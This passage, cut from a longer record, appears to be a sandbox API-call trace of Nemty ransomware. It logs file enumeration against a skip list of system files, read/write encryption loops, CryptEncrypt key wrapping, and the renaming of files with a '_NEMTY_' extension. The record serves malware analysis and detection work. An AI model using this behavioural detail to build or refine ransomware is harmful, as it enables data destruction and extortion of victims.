dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.578] CloseHandle (hObject=0xffffffff) returned 0 [0162.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340430 [0162.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0162.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-gibbous_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.579] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873376fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873376fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b94bad5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3173, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_rainy.png", cAlternateFileName="")) returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2=".") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="..") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="...") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="windows") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="$RECYCLE.BIN") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="rsa") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="NTDETECT.COM") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="ntldr") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="MSDOS.SYS") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="IO.SYS") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="boot.ini") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="boot.ini") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="ntuser.dat") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="desktop.ini") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="CONFIG.SYS") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="RECYCLER") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="BOOTSECT.BAK") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="bootmgr") returned 1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="programdata") returned -1 [0162.579] lstrcmpiW (lpString1="docked_black_rainy.png", lpString2="appdata") returned 1 [0162.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_rainy.png", lpUsedDefaultChar=0x0) returned 22 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0162.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_rainy.png", lpUsedDefaultChar=0x0) returned 22 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0162.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_rainy.png", lpUsedDefaultChar=0x0) returned 22 [0162.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_rainy.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_rainy.png", lpUsedDefaultChar=0x0) returned 22 [0162.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0162.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0162.580] Sleep (dwMilliseconds=0x5) [0162.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x148d7ef0, dwHighDateTime=0x1d561e8)) [0162.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x148d7ef0, dwHighDateTime=0x1d561e8)) [0162.581] GetLastError () returned 0x5 [0162.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.581] GetLastError () returned 0x5 [0162.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0162.581] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.581] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.581] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0162.581] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="aN6V6cJm0YzyN5sailw/CMPAA0uMEZ1AwAfmV2aXe4owe6d582XUYlR4ui2GCmbf\r\nRZ2z9qVobSkF1EjoRK56J7bPnDbT6AYi4dt4b4u6OmAtgI1NClPCsA8PweNOKHaD\r\nWjb3Lb1lj6RTqN6YUHJ4fD5E+3nQ/oxEkjUPz1TYA6OTRsRJb6QGwBhNsGHbCraI\r\ngCF9qjqXsdFMBF+7ze/q2I2/HVX7nvP8dU2TUb+CdaD+N1kk3Jm3wA7EIWK3RT2/\r\nq+sbYmjZqTpuoaM653bKByG6dTOOyVi4vOi4iYT9Lz2Kqti+XtQMyQvIViZs6oq/\r\n8EzBM8RBoSqT6Dwf698OeQ==\r\n", pcchString=0x653e91c) returned 1 [0162.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0162.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0162.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0162.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.582] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_rainy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_rainy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.582] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 